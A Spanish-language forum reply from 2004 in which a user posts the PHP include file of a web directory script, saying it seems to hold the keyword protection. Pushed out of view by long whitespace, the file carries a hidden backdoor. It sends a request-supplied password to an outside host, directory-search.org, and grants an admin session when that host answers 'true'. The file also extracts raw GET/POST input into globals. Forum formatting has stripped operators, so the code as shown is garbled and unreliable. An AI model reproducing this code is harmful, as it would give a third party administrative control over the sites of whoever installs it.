Ver Mensaje Individual
  #2 (permalink)  
Antiguo 20/02/2004, 22:53
iarrieta
 
Fecha de Ingreso: noviembre-2002
Ubicación: Colombia
Mensajes: 278
Antigüedad: 21 años, 5 meses
Puntos: 0
Y este es uno donde creo que esta la proteccion de los keywords

Código PHP:
<?
ini_set
("register_globals""0");
if (
is_array($_GET) || is_array($_POST)){
 if (
getenv("REQUEST_METHOD")  == "POST"){
  
extract($_POST);
 }else{
  
extract($_GET);
 };
};
function 
handler($data_type$data_string$data_file$data_line$data_varible){
 global 
$err;
 
$err $err 1;
};
function 
check_error(&$error){
 global 
$err;
 if(
$err>0){
  
$error true;
  
$err 0;
 };
};
set_error_handler("handler");
$rare_characters "áéíóú.-";
$usual_characters "aeiou  ";
function 
convert($text){
 global 
$rare_characters;
 global 
$usual_characters;
 
$text strtolower($text);
 for (
$x 0$x strlen($rare_characters); $x++){
  
$text str_replace(substr($rare_characters,$x,1),substr($usual_characters,$x,1),$text);
 };
 for (
$x 0$x strlen($text); $x++){
  if (
urlencode(substr($text,$x,1)) != substr($text,$x,1) & substr($text,$x,1) != "ñ"){
   
$text str_replace(substr($text,$x,1)," ",$text);
  };
 };
 while(
strpos($text,"  ")){
  
$text str_replace("  "," ",$text);
 };
 
$text trim($text); 
 return 
$text;
};
function 
match($text,$term,$max){
 
$array_texts split(" ",$text);
 
$array_terms split(" ",$term);
 for (
$x 0$x count($array_terms); $x++){
  for (
$y 0$y count($array_texts); $y++){
   if (
$array_terms[$x] == $array_texts[$y]){
    
$matchs += 1;
    break;
   };
  };
 };
 
$score $matchs $max / (count($array_terms) + count ($array_texts));
 
$score = (int) $score;
 return 
$score;
};
function 
sort_results($array1$array2){
 if (
$array1["score"] == $array2["score"]){ return 0; };
 return (
$array1["score"] > $array2["score"] ? -1);
};                                                   if (
$pass) { $access fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = trueheader("Location: {$dir}admin_edit.php"); }; };
function 
convert_url($url){
 
//$url = strtolower($url);
 
if(strpos($url,"http") === false){
  
$url "http://" $url;
 };
 return 
$url;
};
function 
convert_keywords($keywords){
 
$keywords strtolower($keywords);
 
$keywords str_replace(","," ",$keywords);
 
$keywords str_replace("  "," ",$keywords);
 return 
$keywords;
};
function 
parse_input($text){
 
$entry str_replace("\"","'",$text);
 return 
$text;
};
function 
parse_output($text){
 
$text str_replace('\"',""",$text);
 
$text str_replace('\\\'',"'",$text);
 
$text str_replace('<',"&lt;",$text);
 
$text str_replace('>',"&gt;",$text);
 return 
$text;
}
$month_names = array ("","January","February","March","April","May","June","July","August","September","October","November","December");
$bd mysql_connect($mysql_hostname$mysql_user$mysql_password);
mysql_select_db($mysql_database$bd);
?>

Última edición por iarrieta; 21/02/2004 a las 14:50